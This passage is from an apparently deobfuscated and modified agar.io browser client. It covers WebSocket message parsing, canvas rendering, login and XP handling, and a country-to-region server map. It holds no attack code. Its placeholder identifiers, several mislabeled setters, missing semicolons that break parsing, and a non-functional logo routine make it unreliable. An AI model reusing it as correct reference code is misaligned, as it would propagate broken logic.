true); var pos = pos + 4; g_scoreEntries.push({ id: id, name: __unmatched_190() }); } UpdateLeaderboard(); break; case 50: g_scorePartitions = []; num = data.getUint32(pos, true); pos += 4; for (i = 0; i < num; ++i) { g_scorePartitions.push(data.getFloat32(pos, true)); pos += 4; } UpdateLeaderboard(); break; case 64: g_minX = data.getFloat64(pos, true); pos += 8; g_minY = data.getFloat64(pos, true); pos += 8; g_maxX = data.getFloat64(pos, true); pos += 8; g_maxY = data.getFloat64(pos, true); pos += 8; g_viewX_ = (g_maxX + g_minX) / 2; g_viewY_ = (g_maxY + g_minY) / 2; g_scale_ = 1; if (0 == g_playerCells.length) { g_viewX = g_viewX_; g_viewY = g_viewY_; g_scale = g_scale_; } break; case 81: var x = data.getUint32(pos, true); var pos = pos + 4; var __unmatched_196 = data.getUint32(pos, true); var pos = pos + 4; var __unmatched_197 = data.getUint32(pos, true); var pos = pos + 4; setTimeout(function() { __unmatched_43({ e: x, f: __unmatched_196, d: __unmatched_197 }); }, 1200); } } function ParseCellUpdates(data, pos) { function __unmatched_202() { for (var string = '';;) { var id = data.getUint16(pos, true); pos += 2; if (0 == id) { break; } string += String.fromCharCode(id); } return string; } function __unmatched_203() { for (var __unmatched_218 = '';;) { var r = data.getUint8(pos++); if (0 == r) { break; } __unmatched_218 += String.fromCharCode(r); } return __unmatched_218; } __unmatched_107 = g_time = Date.now(); if (!g_connectSuccessful) { g_connectSuccessful = true; __unmatched_24(); } __unmatched_88 = false; var num = data.getUint16(pos, true); pos += 2; for (var i = 0; i < num; ++i) { var cellA = g_cellsById[data.getUint32(pos, true)]; var cellB = g_cellsById[data.getUint32(pos + 4, true)]; pos += 8; if (cellA && cellB) { cellB.X(); cellB.s = cellB.x; cellB.t = cellB.y; cellB.r = cellB.size; cellB.J = cellA.x; cellB.K = cellA.y; cellB.q = cellB.size; cellB.Q = g_time; __unmatched_49(cellA, cellB); } } for (i = 0;;) { num = data.getUint32(pos, true); pos += 4; if (0 == num) { break; } ++i; var size; var cellA = data.getInt32(pos, true); pos += 4; cellB = data.getInt32(pos, true); pos += 4; size = data.getInt16(pos, true); pos += 2; var flags = data.getUint8(pos++); var y = data.getUint8(pos++); var b = data.getUint8(pos++); var y = __unmatched_40(flags << 16 | y << 8 | b); var b = data.getUint8(pos++); var isVirus = !!(b & 1); var isAgitated = !!(b & 16); var __unmatched_214 = null; if (b & 2) { pos += 4 + data.getUint32(pos, true); } if (b & 4) { __unmatched_214 = __unmatched_203(); } var name = __unmatched_202(); var flags = null; if (g_cellsById.hasOwnProperty(num)) { flags = g_cellsById[num]; flags.P(); flags.s = flags.x; flags.t = flags.y; flags.r = flags.size; flags.color = y; } else { flags = new Cell(num, cellA, cellB, size, y, name); g_cells.push(flags); g_cellsById[num] = flags; flags.ta = cellA; flags.ua = cellB; } flags.h = isVirus; flags.n = isAgitated; flags.J = cellA; flags.K = cellB; flags.q = size; flags.Q = g_time; flags.ba = b; flags.fa = __unmatched_214; if (name) { flags.B(name); } if (-1 != g_playerCellIds.indexOf(num) && -1 == g_playerCells.indexOf(flags)) { g_playerCells.push(flags); if (1 == g_playerCells.length) { g_viewX = flags.x; g_viewY = flags.y; __unmatched_136(); document.getElementById('overlays').style.display = 'none'; cached = []; __unmatched_139 = 0; __unmatched_140 = g_playerCells[0].color; __unmatched_142 = true; __unmatched_143 = Date.now(); g_mode = __unmatched_146 = __unmatched_145 = 0; } } } cellA = data.getUint32(pos, true); pos += 4; for (i = 0; i < cellA; i++) { num = data.getUint32(pos, true); pos += 4; flags = g_cellsById[num]; if (null != flags) { flags.X(); } } if (__unmatched_88 && 0 == g_playerCells.length) { __unmatched_144 = Date.now(); __unmatched_142 = false; if (!(g_playerCellDestroyed || __unmatched_141)) { if (__unmatched_148) { __unmatched_13(window.ab); ShowOverlay(); __unmatched_141 = true; $('#overlays').fadeIn(3000); $('#stats').show(); } else { __unmatched_10(3000); } } } } function __unmatched_24() { $('#connecting').hide(); SendNick(); if (__unmatched_121) { __unmatched_121(); __unmatched_121 = null; } if (null != __unmatched_123) { clearTimeout(__unmatched_123); } __unmatched_123 = setTimeout(function() { if (window.ga) { ++__unmatched_124; window.ga('set', 'dimension2', __unmatched_124); } }, 10000); } function SendPos() { if (IsConnected()) { var deltaY = g_mouseX - g_protocol / 2; var delta = g_mouseY - __unmatched_60 / 2; if (!(64 > deltaY * deltaY + delta * delta || 0.01 > Math.abs(g_lastMoveY - g_moveX) && 0.01 > Math.abs(g_lastMoveX - g_moveY))) { g_lastMoveY = g_moveX; g_lastMoveX = g_moveY; deltaY = GetBuffer(21); deltaY.setUint8(0, 16); deltaY.setFloat64(1, g_moveX, true); deltaY.setFloat64(9, g_moveY, true); deltaY.setUint32(17, 0, true); SendBuffer(deltaY); } } } function SendNick() { if (IsConnected() && g_connectSuccessful && null != g_nick) { var data = GetBuffer(1 + 2 * g_nick.length); data.setUint8(0, 0); for (var i = 0; i < g_nick.length; ++i) { data.setUint16(1 + 2 * i, g_nick.charCodeAt(i), true); } SendBuffer(data); g_nick = null; } } function IsConnected() { return null != points && points.readyState == points.OPEN; } function SendCmd(cmd) { if (IsConnected()) { var data = GetBuffer(1); data.setUint8(0, cmd); SendBuffer(data); } } function RefreshAds() { if (IsConnected() && null != __unmatched_108) { var __unmatched_226 = GetBuffer(1 + __unmatched_108.length); __unmatched_226.setUint8(0, 81); for (var y = 0; y < __unmatched_108.length; ++y) { __unmatched_226.setUint8(y + 1, __unmatched_108.charCodeAt(y)); } SendBuffer(__unmatched_226); } } function ResizeHandler() { g_protocol = window.innerWidth; __unmatched_60 = window.innerHeight; g_canvas_.width = g_canvas.width = g_protocol; g_canvas_.height = g_canvas.height = __unmatched_60; var $dialog = $('#helloContainer'); $dialog.css('transform', 'none'); var dialogHeight = $dialog.height(); var height = window.innerHeight; if (dialogHeight > height / 1.1) { $dialog.css('transform', 'translate(-50%, -50%) scale(' + height / dialogHeight / 1.1 + ')'); } else { $dialog.css('transform', 'translate(-50%, -50%)'); } GetScore(); } function ScaleModifier() { var scale; scale = 1 * Math.max(__unmatched_60 / 1080, g_protocol / 1920); return scale *= g_zoom; } function __unmatched_32() { if (0 != g_playerCells.length) { for (var scale = 0, i = 0; i < g_playerCells.length; i++) { scale += g_playerCells[i].size; } scale = Math.pow(Math.min(64 / scale, 1), 0.4) * ScaleModifier(); g_scale = (9 * g_scale + scale) / 10; } } function GetScore() { var x; var time = Date.now(); ++__unmatched_75; g_time = time; if (0 < g_playerCells.length) { __unmatched_32(); for (var y = x = 0, i = 0; i < g_playerCells.length; i++) { g_playerCells[i].P(); x += g_playerCells[i].x / g_playerCells.length; y += g_playerCells[i].y / g_playerCells.length; } g_viewX_ = x; g_viewY_ = y; g_scale_ = g_scale; g_viewX = (g_viewX + x) / 2; g_viewY = (g_viewY + y) / 2; } else { g_viewX = (29 * g_viewX + g_viewX_) / 30; g_viewY = (29 * g_viewY + g_viewY_) / 30; g_scale = (9 * g_scale + g_scale_ * ScaleModifier()) / 10; } UpdateTree(); UpdatePos(); if (!g_showTrails) { g_context.clearRect(0, 0, g_protocol, __unmatched_60); } if (g_showTrails) { g_context.fillStyle = g_showMass ? '#111111' : '#F2FBFF'; g_context.globalAlpha = 0.05; g_context.fillRect(0, 0, g_protocol, __unmatched_60); g_context.globalAlpha = 1; } else { DrawGrid(); } g_cells.sort(function(A, B) { return A.size == B.size ? A.id - B.id : A.size - B.size; }); g_context.save(); g_context.translate(g_protocol / 2, __unmatched_60 / 2); g_context.scale(g_scale, g_scale); g_context.translate(-g_viewX, -g_viewY); drawBorders(); drawLogo(); myMass = Math.min.apply(null, g_playerCells.map(function(r) { return r.N(); })) for (i = 0; i < g_destroyedCells.length; i++) { g_destroyedCells[i].w(g_context); } for (i = 0; i < g_cells.length; i++) { g_cells[i].w(g_context); } if (g_ready) { g_linesX = (3 * g_linesX + g_linesY_) / 4; g_linesY = (3 * g_linesY + g_linesX_) / 4; g_context.save(); g_context.strokeStyle = '#FFAAAA'; g_context.lineWidth = 10; g_context.lineCap = 'round'; g_context.lineJoin = 'round'; g_context.globalAlpha = 0.5; g_context.beginPath(); for (i = 0; i < g_playerCells.length; i++) { g_context.moveTo(g_playerCells[i].x, g_playerCells[i].y); g_context.lineTo(g_linesX, g_linesY); } g_context.stroke(); g_context.restore(); } g_context.restore(); if (g_leaderboardCanvas && g_leaderboardCanvas.width) { g_context.drawImage(g_leaderboardCanvas, g_protocol - g_leaderboardCanvas.width - 10, 10); } g_maxScore = Math.max(g_maxScore, __unmatched_36()); if (0 != g_maxScore) { if (null == g_cachedScore) { g_cachedScore = new CachedCanvas(24, '#FFFFFF'); } g_cachedScore.C(__unmatched_14('score') + ': ' + ~~(g_maxScore / 100)); y = g_cachedScore.L(); x = y.width; g_context.globalAlpha = 0.2; g_context.fillStyle = '#000000'; g_context.fillRect(10, __unmatched_60 - 10 - 24 - 10, x + 10, 34); g_context.globalAlpha = 1; g_context.drawImage(y, 15, __unmatched_60 - 10 - 24 - 5); } DrawSplitImage(); time = Date.now() - time; if (time > 1000 / 60) { g_pointNumScale -= 0.01; } else if (time < 1000 / 65) { g_pointNumScale += 0.01; } if (0.4 > g_pointNumScale) { g_pointNumScale = 0.4; } if (1 < g_pointNumScale) { g_pointNumScale = 1; } time = g_time - __unmatched_77; if (!IsConnected() || g_playerCellDestroyed || __unmatched_141) { qkeyDown += time / 2000; if (1 < qkeyDown) { qkeyDown = 1; } } else { qkeyDown -= time / 300; if (0 > qkeyDown) { qkeyDown = 0; } } if (0 < qkeyDown) { g_context.fillStyle = '#000000'; g_context.globalAlpha = 0.5 * qkeyDown; g_context.fillRect(0, 0, g_protocol, __unmatched_60); g_context.globalAlpha = 1; } __unmatched_77 = g_time; } function DrawGrid() { g_context.fillStyle = g_showMass ? '#111111' : '#F2FBFF'; g_context.fillRect(0, 0, g_protocol, __unmatched_60); g_context.save(); g_context.strokeStyle = g_showMass ? '#AAAAAA' : '#000000'; g_context.globalAlpha = 0.2 * g_scale; for (var width = g_protocol / g_scale, height = __unmatched_60 / g_scale, g_width = (-g_viewX + width / 2) % 50; g_width < width; g_width += 50) { g_context.beginPath(); g_context.moveTo(g_width * g_scale - 0.5, 0); g_context.lineTo(g_width * g_scale - 0.5, height * g_scale); g_context.stroke(); } for (g_width = (-g_viewY + height / 2) % 50; g_width < height; g_width += 50) { g_context.beginPath(); g_context.moveTo(0, g_width * g_scale - 0.5); g_context.lineTo(width * g_scale, g_width * g_scale - 0.5); g_context.stroke(); } g_context.restore(); } function DrawSplitImage() { if (g_touchCapable && g_splitImage.width) { var size = g_protocol / 5; g_context.drawImage(g_splitImage, 5, 5, size, size); } } function __unmatched_36() { for (var score = 0, i = 0; i < g_playerCells.length; i++) { score += g_playerCells[i].q * g_playerCells[i].q; } return score; } function UpdateLeaderboard() { g_leaderboardCanvas = null; if (null != g_scorePartitions || 0 != g_scoreEntries.length) { if (null != g_scorePartitions || g_showNames) { g_leaderboardCanvas = document.createElement('canvas'); var context = g_leaderboardCanvas.getContext('2d'); var height = 60; var height = null == g_scorePartitions ? height + 24 * g_scoreEntries.length : height + 180; var scale = Math.min(200, 0.3 * g_protocol) / 200; g_leaderboardCanvas.width = 200 * scale; g_leaderboardCanvas.height = height * scale; context.scale(scale, scale); context.globalAlpha = 0.4; context.fillStyle = '#000000'; context.fillRect(0, 0, 200, height); context.globalAlpha = 1; context.fillStyle = '#FFFFFF'; scale = null; scale = __unmatched_14('leaderboard'); context.font = '30px Ubuntu'; context.fillText(scale, 100 - context.measureText(scale).width / 2, 40); if (null == g_scorePartitions) { for (context.font = '20px Ubuntu', height = 0; height < g_scoreEntries.length; ++height) { scale = g_scoreEntries[height].name || __unmatched_14('unnamed_cell'); if (!g_showNames) { scale = __unmatched_14('unnamed_cell'); } if (-1 != g_playerCellIds.indexOf(g_scoreEntries[height].id)) { if (g_playerCells[0].name) { scale = g_playerCells[0].name; } context.fillStyle = '#FFAAAA'; } else { context.fillStyle = '#FFFFFF'; } scale = height + 1 + '. ' + scale; context.fillText(scale, 100 - context.measureText(scale).width / 2, 70 + 24 * height); } } else { for (height = scale = 0; height < g_scorePartitions.length; ++height) { var end = scale + g_scorePartitions[height] * Math.PI * 2; context.fillStyle = g_teamColors[height + 1]; context.beginPath(); context.moveTo(100, 140); context.arc(100, 140, 80, scale, end, false); context.fill(); scale = end; } } } } } function __unmatched_38(__unmatched_250, __unmatched_251, __unmatched_252, __unmatched_253, __unmatched_254) { this.V = __unmatched_250; this.x = __unmatched_251; this.y = __unmatched_252; this.i = __unmatched_253; this.b = __unmatched_254; } function Cell(id, x, y, size, color, name) { this.id = id; this.s = this.x = x; this.t = this.y = y; this.r = this.size = size; this.color = color; this.a = []; this.W(); this.B(name); } function __unmatched_40(__unmatched_261) { for (__unmatched_261 = __unmatched_261.toString(16); 6 > __unmatched_261.length;) { __unmatched_261 = '0' + __unmatched_261; } return '#' + __unmatched_261; } function drawBorders() { g_context.save() g_context.beginPath(); g_context.lineWidth = 1; g_context.strokeStyle = "#F87B32"; g_context.moveTo(getMapStartX(), getMapStartY()); g_context.lineTo(getMapStartX(), getMapEndY()); g_context.stroke(); g_context.moveTo(getMapStartX(), getMapStartY()); g_context.lineTo(getMapEndX(), getMapStartY()); g_context.stroke(); g_context.moveTo(getMapEndX(), getMapStartY()); g_context.lineTo(getMapEndX(), getMapEndY()); g_context.stroke(); g_context.moveTo(getMapStartX(), getMapEndY()); g_context.lineTo(getMapEndX(), getMapEndY()); g_context.stroke(); g_context.restore(); } function drawLogo(){ var logoimage = new Image(); logoimage.src = "img/split.png"; var width = this.j / 2; var dim = width / 2; g_context.save(); g_context.beginPath(); g_context.strokeStyle = "#F87B32"; g_context.moveTo(getMapStartX()/2, getMapStartX()/2); g_context.lineTo(getMapStartX()/2, getMapStartX()/2); g_context.stroke(); g_context.restore(); } function CachedCanvas(size, color, stroke, strokeColor) { if (size) { this.u = size; } if (color) { this.S = color; } this.U = !!stroke; if (strokeColor) { this.v = strokeColor; } } function __unmatched_42(__unmatched_266) { for (var size_ = __unmatched_266.length, __unmatched_268, __unmatched_269; 0 < size_;) { __unmatched_269 = Math.floor(Math.random() * size_); size_--; __unmatched_268 = __unmatched_266[size_]; __unmatched_266[size_] = __unmatched_266[__unmatched_269]; __unmatched_266[__unmatched_269] = __unmatched_268; } } function __unmatched_43(g_socket, __unmatched_271) { var noClip = '1' == $('#helloContainer').attr('data-has-account-data'); $('#helloContainer').attr('data-has-account-data', '1'); if (null == __unmatched_271 && window.localStorage.loginCache) { var rand = JSON.parse(window.localStorage.loginCache); rand.f = g_socket.f; rand.d = g_socket.d; rand.e = g_socket.e; window.localStorage.loginCache = JSON.stringify(rand); } if (noClip) { var __unmatched_274 = +$('.agario-exp-bar .progress-bar-text').first().text().split('/')[0]; var noClip = +$('.agario-exp-bar .progress-bar-text').first().text().split('/')[1].split(' ')[0]; var rand = $('.agario-profile-panel .progress-bar-star').first().text(); if (rand != g_socket.e) { __unmatched_43({ f: noClip, d: noClip, e: rand }, function() { $('.agario-profile-panel .progress-bar-star').text(g_socket.e); $('.agario-exp-bar .progress-bar').css('width', '100%'); $('.progress-bar-star').addClass('animated tada').one('webkitAnimationEnd mozAnimationEnd MSAnimationEnd oanimationend animationend', function() { $('.progress-bar-star').removeClass('animated tada'); }); setTimeout(function() { $('.agario-exp-bar .progress-bar-text').text(g_socket.d + '/' + g_socket.d + ' XP'); __unmatched_43({ f: 0, d: g_socket.d, e: g_socket.e }, function() { __unmatched_43(g_socket, __unmatched_271); }); }, 1000); }); } else { var __unmatched_275 = Date.now(); var name = function() { var deltaX; deltaX = (Date.now() - __unmatched_275) / 1000; deltaX = 0 > deltaX ? 0 : 1 < deltaX ? 1 : deltaX; deltaX = deltaX * deltaX * (3 - 2 * deltaX); $('.agario-exp-bar .progress-bar-text').text(~~(__unmatched_274 + (g_socket.f - __unmatched_274) * deltaX) + '/' + g_socket.d + ' XP'); $('.agario-exp-bar .progress-bar').css('width', (88 * (__unmatched_274 + (g_socket.f - __unmatched_274) * deltaX) / g_socket.d).toFixed(2) + '%'); if (1 > deltaX) { window.requestAnimationFrame(name); } else if (__unmatched_271) { __unmatched_271(); } }; window.requestAnimationFrame(name); } } else { $('.agario-profile-panel .progress-bar-star').text(g_socket.e); $('.agario-exp-bar .progress-bar-text').text(g_socket.f + '/' + g_socket.d + ' XP'); $('.agario-exp-bar .progress-bar').css('width', (88 * g_socket.f / g_socket.d).toFixed(2) + '%'); if (__unmatched_271) { __unmatched_271(); } } } function __unmatched_44(__unmatched_278) { if ('string' == typeof __unmatched_278) { __unmatched_278 = JSON.parse(__unmatched_278); } if (Date.now() + 1800000 > __unmatched_278.ka) { $('#helloContainer').attr('data-logged-in', '0'); } else { window.localStorage.loginCache = JSON.stringify(__unmatched_278); __unmatched_108 = __unmatched_278.ha; $('.agario-profile-name').text(__unmatched_278.name); RefreshAds(); __unmatched_43({ f: __unmatched_278.f, d: __unmatched_278.d, e: __unmatched_278.e }); $('#helloContainer').attr('data-logged-in', '1'); } } function __unmatched_45(data) { data = data.split('\n'); __unmatched_44({ name: data[0], sa: data[1], ha: data[2], ka: 1000 * +data[3], e: +data[4], f: +data[5], d: +data[6] }); } function UpdateScale(__unmatched_280) { if ('connected' == __unmatched_280.status) { var x = __unmatched_280.authResponse.accessToken; window.FB.api('/me/picture?width=180&height=180', function(__unmatched_282) { window.localStorage.fbPictureCache = __unmatched_282.data.url; $('.agario-profile-picture').attr('src', __unmatched_282.data.url); }); $('#helloContainer').attr('data-logged-in', '1'); if (null != __unmatched_108) { $.ajax('https://m.agar.io/checkToken', { error: function() { __unmatched_108 = null; UpdateScale(__unmatched_280); }, success: function(__unmatched_283) { __unmatched_283 = __unmatched_283.split('\n'); __unmatched_43({ e: +__unmatched_283[0], f: +__unmatched_283[1], d: +__unmatched_283[2] }); }, dataType: 'text', method: 'POST', cache: false, crossDomain: true, data: __unmatched_108 }); } else { $.ajax('https://m.agar.io/facebookLogin', { error: function() { __unmatched_108 = null; $('#helloContainer').attr('data-logged-in', '0'); }, success: __unmatched_45, dataType: 'text', method: 'POST', cache: false, crossDomain: true, data: x }); } } } function RenderLoop(x) { Render(':party'); $('#helloContainer').attr('data-party-state', '4'); x = decodeURIComponent(x).replace(/.*#/gim, ''); __unmatched_48('#' + window.encodeURIComponent(x)); $.ajax('https://m.agar.io/getToken', { error: function() { $('#helloContainer').attr('data-party-state', '6'); }, success: function(quick) { quick = quick.split('\n'); $('.partyToken').val('agar.io/#' + window.encodeURIComponent(x)); $('#helloContainer').attr('data-party-state', '5'); Render(':party'); Connect('ws://' + quick[0], x); }, dataType: 'text', method: 'POST', cache: false, crossDomain: true, data: x }); } function __unmatched_48(__unmatched_286) { if (window.history && window.history.replaceState) { window.history.replaceState({}, window.document.title, __unmatched_286); } } function __unmatched_49(__unmatched_287, __unmatched_288) { var playerOwned = -1 != g_playerCellIds.indexOf(__unmatched_287.id); var __unmatched_290 = -1 != g_playerCellIds.indexOf(__unmatched_288.id); var __unmatched_291 = 30 > __unmatched_288.size; if (playerOwned && __unmatched_291) { ++__unmatched_139; } if (!(__unmatched_291 || !playerOwned || __unmatched_290)) { ++__unmatched_146; } } function __unmatched_50(__unmatched_292) { __unmatched_292 = ~~__unmatched_292; var color = (__unmatched_292 % 60).toString(); __unmatched_292 = (~~(__unmatched_292 / 60)).toString(); if (2 > color.length) { color = '0' + color; } return __unmatched_292 + ':' + color; } function __unmatched_51() { if (null == g_scoreEntries) { return 0; } for (var i = 0; i < g_scoreEntries.length; ++i) { if (-1 != g_playerCellIds.indexOf(g_scoreEntries[i].id)) { return i + 1; } } return 0; } function ShowOverlay() { $('.stats-food-eaten').text(__unmatched_139); $('.stats-time-alive').text(__unmatched_50((__unmatched_144 - __unmatched_143) / 1000)); $('.stats-leaderboard-time').text(__unmatched_50(__unmatched_145)); $('.stats-highest-mass').text(~~(g_maxScore / 100)); $('.stats-cells-eaten').text(__unmatched_146); $('.stats-top-position').text(0 == g_mode ? ':(' : g_mode); var g_height = document.getElementById('statsGraph'); if (g_height) { var pointsAcc = g_height.getContext('2d'); var scale = g_height.width; var g_height = g_height.height; pointsAcc.clearRect(0, 0, scale, g_height); if (2 < cached.length) { for (var __unmatched_298 = 200, i = 0; i < cached.length; i++) { __unmatched_298 = Math.max(cached[i], __unmatched_298); } pointsAcc.lineWidth = 3; pointsAcc.lineCap = 'round'; pointsAcc.lineJoin = 'round'; pointsAcc.strokeStyle = __unmatched_140; pointsAcc.fillStyle = __unmatched_140; pointsAcc.beginPath(); pointsAcc.moveTo(0, g_height - cached[0] / __unmatched_298 * (g_height - 10) + 10); for (i = 1; i < cached.length; i += Math.max(~~(cached.length / scale), 1)) { for (var __unmatched_300 = i / (cached.length - 1) * scale, __unmatched_301 = [], __unmatched_302 = -20; 20 >= __unmatched_302; ++__unmatched_302) { if (!(0 > i + __unmatched_302 || i + __unmatched_302 >= cached.length)) { __unmatched_301.push(cached[i + __unmatched_302]); } } __unmatched_301 = __unmatched_301.reduce(function(__unmatched_303, __unmatched_304) { return __unmatched_303 + __unmatched_304; }) / __unmatched_301.length / __unmatched_298; pointsAcc.lineTo(__unmatched_300, g_height - __unmatched_301 * (g_height - 10) + 10); } pointsAcc.stroke(); pointsAcc.globalAlpha = 0.5; pointsAcc.lineTo(scale, g_height); pointsAcc.lineTo(0, g_height); pointsAcc.fill(); pointsAcc.globalAlpha = 1; } } } if (!window.agarioNoInit) { var __unmatched_53 = window.location.protocol; var g_secure = 'https:' == __unmatched_53; if (g_secure && -1 == window.location.search.indexOf('fb')) { window.location.href = 'http://agar.io/'; } else { var items = window.navigator.userAgent; if (-1 != items.indexOf('Android')) { if (window.ga) { window.ga('send', 'event', 'MobileRedirect', 'PlayStore'); } setTimeout(function() { window.location.href = 'https://play.google.com/store/apps/details?id=com.miniclip.agar.io'; }, 1000); } else if (-1 != items.indexOf('iPhone') || -1 != items.indexOf('iPad') || -1 != items.indexOf('iPod')) { if (window.ga) { window.ga('send', 'event', 'MobileRedirect', 'AppStore'); } setTimeout(function() { window.location.href = 'https://itunes.apple.com/app/agar.io/id995999703?mt=8&at=1l3vajp'; }, 1000); } else { var g_canvas_; var g_context; var g_canvas; var g_protocol; var __unmatched_60; var g_pointTree = null; var points = null; var g_viewX = 0; var g_viewY = 0; var g_playerCellIds = []; var g_playerCells = []; var g_cellsById = {}; var g_cells = []; var g_destroyedCells = []; var g_scoreEntries = []; var g_mouseX = 0; var g_mouseY = 0; var g_moveX = -1; var g_moveY = -1; var __unmatched_75 = 0; var g_time = 0; var __unmatched_77 = 0; var g_nick = null; var g_minX = 0; var g_minY = 0; var g_maxX = 10000; var g_maxY = 10000; var g_scale = 1; var g_region = null; var g_showSkins = true; var g_showNames = true; var g_noColors = false; var __unmatched_88 = false; var g_maxScore = 0; var g_showMass = false; var g_darkTheme = true; var g_viewX_ = g_viewX = ~~((g_minX + g_maxX) / 2); var g_viewY_ = g_viewY = ~~((g_minY + g_maxY) / 2); var g_scale_ = 1; var __unmatched_95 = ''; var g_scorePartitions = null; var g_drawLines = false; var g_ready = false; var g_linesY_ = 0; var g_linesX_ = 0; var g_linesX = 0; var g_linesY = 0; var g_ABGroup = 0; var g_teamColors = [ '#333333', '#FF3333', '#33FF33', '#3333FF' ]; var g_showTrails = false; var g_connectSuccessful = false; var __unmatched_107 = 0; var __unmatched_108 = null; var g_zoom = 1; var qkeyDown = 1; var g_playerCellDestroyed = false; var __unmatched_112 = 0; var __unmatched_113 = {}; (function() { var point = window.location.search; if ('?' == point.charAt(0)) { point = point.slice(1); } for (var point = point.split('&'), __unmatched_306 = 0; __unmatched_306 < point.length; __unmatched_306++) { var parts = point[__unmatched_306].split('='); __unmatched_113[parts[0]] = parts[1]; } }()); var g_touchCapable = 'ontouchstart' in window && /Android|webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini/i.test(window.navigator.userAgent); var g_splitImage = new Image(); g_splitImage.src = 'img/split.png'; var canvasTest = document.createElement('canvas'); if ('undefined' == typeof console || 'undefined' == typeof DataView || 'undefined' == typeof WebSocket || null == canvasTest || null == canvasTest.getContext || null == window.localStorage) { alert('You browser does not support this game, we recommend you to use Firefox to play this'); } else { var g_regionLabels = null; window.setNick = function(val) { HideOverlay(); g_nick = val; SendNick(); g_maxScore = 0; }; window.setRegion = SetRegion; window.setSkins = function(val) { g_showSkins = val; }; window.setUnlimitedZoom = function(val) { isUnlimitedZoom = val; }; window.setNames = function(val) { g_showNames = val; }; window.setDarkTheme = function(val) { g_showMass = val; }; window.setColors = function(val) { g_noColors = val; }; window.setShowMass = function(val) { g_darkTheme = val; }; window.spectate = function(val) { isSpectating = val g_nick = null; SendCmd(1); HideOverlay(); }; window.setLargeBlobBorders = function(val) { isLargeBlobBorders = val; } window.setLargeNames = function(val) { isLargeNames = val; } window.setVirusTransparent = function(val){ isVirusTransparent = val; } window.nicksChange = function() { var name = $("#nicks").children("option").filter(":selected").text(); $("#nick").val(name); if (-1 != g_skinNamesA.indexOf(name)) { $("#preview").attr("src", "skins/" + name + ".png"); } }; window.getMapStartX = function() { return g_minX; } window.getMapStartY = function() { return g_minY; } window.getMapEndX = function() { return g_maxX; } window.getMapEndY = function() { return g_maxY; } window.setGameMode = function(val) { if (val != __unmatched_95) { if (':party' == __unmatched_95) { $('#helloContainer').attr('data-party-state', '0'); } Render(val); if (':party' != val) { Start(); } } }; window.setAcid = function(val) { g_showTrails = val; }; if (null != window.localStorage) { if (null == window.localStorage.AB9) { window.localStorage.AB9 = 0 + ~~(100 * Math.random()); } g_ABGroup = +window.localStorage.AB9; window.ABGroup = g_ABGroup; } $.get(__unmatched_53 + '//gc.agar.io', function(code) { var __unmatched_317 = code.split(' '); code = __unmatched_317[0]; __unmatched_317 = __unmatched_317[1] || ''; if (-1 == ['UA'].indexOf(code)) { g_skinNamesA.push('ussr'); } if (g_regionsByCC.hasOwnProperty(code)) { if ('string' == typeof g_regionsByCC[code]) { if (!g_region) { SetRegion(g_regionsByCC[code]); } else if (g_regionsByCC[code].hasOwnProperty(__unmatched_317)) { if (!g_region) { SetRegion(g_regionsByCC[code][__unmatched_317]); } } } } }, 'text'); if (window.ga) { window.ga('send', 'event', 'User-Agent', window.navigator.userAgent, { nonInteraction: 1 }); } var g_canRefreshAds = true; var g_refreshAdsCooldown = 0; var g_regionsByCC = { AF: 'JP-Tokyo', AX: 'EU-London', AL: 'EU-London', DZ: 'EU-London', AS: 'SG-Singapore', AD: 'EU-London', AO: 'EU-London', AI: 'US-Atlanta', AG: 'US-Atlanta', AR: 'BR-Brazil', AM: 'JP-Tokyo', AW: 'US-Atlanta', AU: 'SG-Singapore', AT: 'EU-London', AZ: 'JP-Tokyo', BS: 'US-Atlanta', BH: 'JP-Tokyo', BD: 'JP-Tokyo', BB: 'US-Atlanta', BY: 'EU-London', BE: 'EU-London', BZ: 'US-Atlanta', BJ: 'EU-London', BM: 'US-Atlanta', BT: 'JP-Tokyo', BO: 'BR-Brazil', BQ: 'US-Atlanta', BA: 'EU-London', BW: 'EU-London', BR: 'BR-Brazil', IO: 'JP-Tokyo', VG: 'US-Atlanta', BN: 'JP-Tokyo', BG: 'EU-London', BF: 'EU-London', BI: 'EU-London', KH: 'JP-Tokyo', CM: 'EU-London', CA: 'US-Atlanta', CV: 'EU-London', KY: 'US-Atlanta', CF: 'EU-London', TD: 'EU-London', CL: 'BR-Brazil', CN: 'CN-China', CX: 'JP-Tokyo', CC: 'JP-Tokyo', CO: 'BR-Brazil', KM: 'EU-London', CD: 'EU-London', CG: 'EU-London', CK: 'SG-Singapore', CR: 'US-Atlanta', CI: 'EU-London', HR: 'EU-London', CU: 'US-Atlanta', CW: 'US-Atlanta', CY: 'JP-Tokyo', CZ: 'EU-London', DK: 'EU-London', DJ: 'EU-London', DM: 'US-Atlanta', DO: 'US-Atlanta', EC: 'BR-Brazil', EG: 'EU-London', SV: 'US-Atlanta', GQ: 'EU-London', ER: 'EU-London', EE: 'EU-London', ET: 'EU-London', FO: 'EU-London', FK: 'BR-Brazil', FJ: 'SG-Singapore', FI: 'EU-London', FR: 'EU-London', GF: 'BR-Brazil', PF: 'SG-Singapore', GA: 'EU-London', GM: 'EU-London', GE: 'JP-Tokyo', DE: 'EU-London', GH: 'EU-London', GI: 'EU-London', GR: 'EU-London', GL: 'US-Atlanta', GD: 'US-Atlanta', GP: 'US-Atlanta', GU: 'SG-Singapore', GT: 'US-Atlanta', GG: 'EU-London', GN: 'EU-London', GW: 'EU-London', GY: 'BR-Brazil', HT: 'US-Atlanta', VA: 'EU-London', HN: 'US-Atlanta', HK: 'JP-Tokyo', HU: 'EU-London', IS: 'EU-London', IN: 'JP-Tokyo', ID: 'JP-Tokyo', IR: 'JP-Tokyo', IQ: 'JP-Tokyo', IE: 'EU-London', IM: 'EU-London', IL: 'JP-Tokyo', IT: 'EU-London', JM: 'US-Atlanta', JP: 'JP-Tokyo', JE: 'EU-London', JO: 'JP-Tokyo', KZ: 'JP-Tokyo', KE: 'EU-London', KI: 'SG-Singapore', KP: 'JP-Tokyo', KR: 'JP-Tokyo', KW: 'JP-Tokyo', KG: 'JP-Tokyo', LA: 'JP-Tokyo', LV: 'EU-London', LB: 'JP-Tokyo', LS: 'EU-London', LR: 'EU-London', LY: 'EU-London', LI: 'EU-London', LT: 'EU-London', LU: 'EU-London', MO: 'JP-Tokyo', MK: 'EU-London', MG: 'EU-London', MW: 'EU-London', MY: 'JP-Tokyo', MV: 'JP-Tokyo', ML: 'EU-London', MT: 'EU-London', MH: 'SG-Singapore', MQ: 'US-Atlanta', MR: 'EU-London', MU: 'EU-London', YT: 